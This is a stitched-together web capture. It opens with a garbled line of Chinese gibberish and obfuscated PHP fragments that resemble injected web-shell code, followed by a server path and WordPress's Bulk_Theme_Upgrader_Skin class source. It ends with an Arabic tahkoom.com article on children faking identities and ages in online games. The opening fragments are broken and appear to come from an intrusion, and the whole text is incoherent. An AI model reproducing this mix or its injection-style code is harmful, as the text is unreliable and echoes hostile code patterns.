财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-admin/includes/class-bulk-theme-upgrader-skin.php
<?php
/**
 * Upgrader API: Bulk_Plugin_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Bulk Theme Upgrader Skin for WordPress Theme Upgrades.
 *
 * @since 3.0.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see Bulk_Upgrader_Skin
 */
class Bulk_Theme_Upgrader_Skin extends Bulk_Upgrader_Skin {

	/**
	 * Theme info.
	 *
	 * The Theme_Upgrader::bulk_upgrade() method will fill this in
	 * with info retrieved from the Theme_Upgrader::theme_info() method,
	 * which in turn calls the wp_get_theme() function.
	 *
	 * @since 3.0.0
	 * @var WP_Theme|false The theme's info object, or false.
	 */
	public $theme_info = false;

	/**
	 * Sets up the strings used in the update process.
	 *
	 * @since 3.0.0
	 */
	public function add_strings() {
		parent::add_strings();
		/* translators: 1: Theme name, 2: Number of the theme, 3: Total number of themes being updated. */
		$this->upgrader->strings['skin_before_update_header'] = __( 'Updating Theme %1$s (%2$d/%3$d)' );
	}

	/**
	 * Performs an action before a bulk theme update.
	 *
	 * @since 3.0.0
	 *
	 * @param string $title
	 */
	public function before( $title = '' ) {
		parent::before( $this->theme_info->display( 'Name' ) );
	}

	/**
	 * Performs an action following a bulk theme update.
	 *
	 * @since 3.0.0
	 *
	 * @param string $title
	 */
	public function after( $title = '' ) {
		parent::after( $this->theme_info->display( 'Name' ) );
		$this->decrement_update_count( 'theme' );
	}

	/**
	 * Displays the footer following the bulk update process.
	 *
	 * @since 3.0.0
	 */
	public function bulk_footer() {
		parent::bulk_footer();

		$update_actions = array(
			'themes_page'  => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'themes.php' ),
				__( 'Go to Themes page' )
			),
			'updates_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'update-core.php' ),
				__( 'Go to WordPress Updates page' )
			),
		);

		if ( ! current_user_can( 'switch_themes' ) && ! current_user_can( 'edit_theme_options' ) ) {
			unset( $update_actions['themes_page'] );
		}

		/**
		 * Filters the list of action links available following bulk theme updates.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $update_actions Array of theme action links.
		 * @param WP_Theme $theme_info     Theme object for the last-updated theme.
		 */
		$update_actions = apply_filters( 'update_bulk_theme_complete_actions', $update_actions, $this->theme_info );

		if ( ! empty( $update_actions ) ) {
			$this->feedback( implode( ' | ', (array) $update_actions ) );
		}
	}
}
العاب العالم الرقمي تدفع الأطفال إلى تقمص الهويات الزائفة – tahkoom.com
معرفة

العاب العالم الرقمي تدفع الأطفال إلى تقمص الهويات الزائفة

 كتبت ميرنا أشرف 

في عصر اصبحت تتداخل فيه الطفولة مع التكنولوجيا بشكل غير مسبوق، لم يعد الكذب مجرّد سلوك مرفوض، بل تحول لدى بعض الأطفال إلى وسيلة مبررة للوصول إلى أهدافهم الالكترونية. فمع الانتشار الواسع للألعاب الإلكترونية ومواقع التواصل، اصبح من الشائع أن يتقمص الطفل شخصية وهمية، أو يستخدم حسابًا مزيفًا، أو يزود عمره لتجاوز شروط الاستخدام، هذه السلوكيات التي قد تبدو بسيطة أو عابرة، تحمل في داخلها تغيّراً عميقًا في مفاهيم الصدق والأخلاق لدى الاطفال.

 هل أصبحت الهوية المزيفة لعبة بريئة أم بداية لانحراف القيم؟

 أوضحت كنوز أشرف، أخصائية اجتماعية، أن العديد من الألعاب الحديثة، وخاصة ألعاب الفيديو، لم تعد مجرد وسيلة للترفيه، بل أصبحت تُسهم بشكل مباشر في غرس سلوكيات سلبية لدى الأطفال والمراهقين، مثل الكذب والعنف. وتابعت، أن الهوية المزيفة لم تعد تُستخدم كلعبة بريئة، بل تحولت إلى وسيلة قد تترك أثرًا عميقًا على التكوين الأخلاقي والنفسي للأطفال، مما يستدعي الانتباه لتأثير هذه الألعاب على شخصياتهم وقيمهم، ففي العديد من الألعاب الشهيرة مثل ببجي وفري فاير، يُدفع اللاعب إلى تقمص شخصيات عدوانية، واستخدام الحيلة والخداع للفوز، مما قد ينعكس على سلوكياتهم في الحياة الواقعية.

 تابعت، ورغم أن البعض يرى فيها وسيلة للترفيه أو تنمية المهارات، إلا أن الاستخدام غير الواعي وغياب الرقابة الأبوية يحوّلها إلى خطر حقيقي يهدد منظومة القيم والسلوك.

 اما بالنسبة للكذب الإلكتروني فقد بينت أشرف، أنه اصبح أسهل بكثير من الكذب في الواقع خاصة بالنسبة للأطفال، الذين يجدون في العالم الالكتروني مساحة مفتوحة للتلاعب بالحقائق دون مواجهة عواقب مباشرة،

 يبرر الأطفال هذا النوع من الكذب غالبًا برغبتهم في الوصول إلى هدف معين، لا تسمح لهم أعمارهم الحقيقية باكتشافه. فمعظم الألعاب الإلكترونية، يوجد بها سياسات عمرية محددة، تفرض قيودًا على الفئات الأصغر سنًا. ونتيجة لذلك، يلجأ كثير من الأطفال إلى تغيير أعمارهم وتقديم معلومات غير صحيحة من أجل تجاوز هذه القيود والدخول إلى عالم اللعبة، موضحه أنه في نظرهم، هذا الخداع لا يُعد كذبًا حقيقيًا، بل مجرد وسيلة لتحقيق غاية ترفيهية. غير أن هذا السلوك، رغم بساطته في الظاهر، يعكس بداية اتجاه نحو تبرير الكذب، مما يستدعي من الاسرة المربية أن توعي الأطفال بخطورة الأمر.

 واتفق معها في الرأي هشام عبدالعال أستاذ الحاسب الآلي، علي أن الكذب الإلكتروني أسهل غالبًا لأنه يفتقر إلى التفاعل المباشر، مما يقلل الشعور بالذنب أو الخوف من العقاب الفوري. الأطفال قد يبررونه بأنه مجرد لعبة أو شيء لا يراه أحد، فهم لا يشعرون بنفس الوزن الأخلاقي للكذب عندما يكون خلف شاشة

 أضاف عبد العال، التكنولوجيا قد تتيح للأطفال مساحة لتجربة الكذب دون عواقب مباشرة، خصوصًا في البيئات الرقمية حيث تقل الرقابة، وتغيب المواجهة وجهًا لوجه. فمثلًا: يمكن للطفل أن يُنشئ حسابًا باسم مستعار أو عمر غير حقيقي.

تأثير ألعاب الفيديو ومواقع التواصل على إدراك الطفل للصدق والقيم

 و من جانبها أكدت أشرف، أن ألعاب الفيديو ومواقع التواصل الاجتماعي تنعكس بشكل مباشر على إدراك الطفل للصدق، وفهمه لهويته، وتشكُّل منظومة القيم لديه. فالطفل الذي يدخل إلى هذا العالم الرقمي، غالبًا ما يجد نفسه داخل بيئة غير مألوفة، بل مجتمع مظلم، لا يملك أدوات كافية لفهمه أو التفاعل معه بوعي.

 اضافت أشرف، أنه عبر مواقع التواصل، يتعرض الأطفال يوميًا لألفاظ وسلوكيات غير لائقة، تبدأ بالكذب وتمتد إلى العنف والتنمر، خاصة التنمر الإلكتروني الذي اصبح ظاهرة منتشرة.

 أما ألعاب الفيديو تابعت أشرف، فهي لا تقل خطورة، إذ تقدم محتوى يحتوي علي العدوانية ويكافئ الخداع لتحقيق الفوز. هذه التجارب المتكررة ترسخ مفاهيم مشوشة لدى الطفل، تجعل من الكذب وسيلة مقبولة، ومن التنمر سلوك طبيعي، مما يؤدي إلى خلل واضح في البناء القيمي لسلوك شخصيه الطفل.

 العالم الرقمي أصبح جزءًا من حياة الأطفال اليومية، ويؤثر في سلوكهم وقيمهم. لذلك، من الضروري تعليمهم أخلاقيات الإنترنت كما نعلمهم الصدق في الواقع، مع وجود سياسات واضحة ورقابة أسرية صارمة تحميهم من الكذب، التنمر، والمحتوى الضار.

اظهر المزيد

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى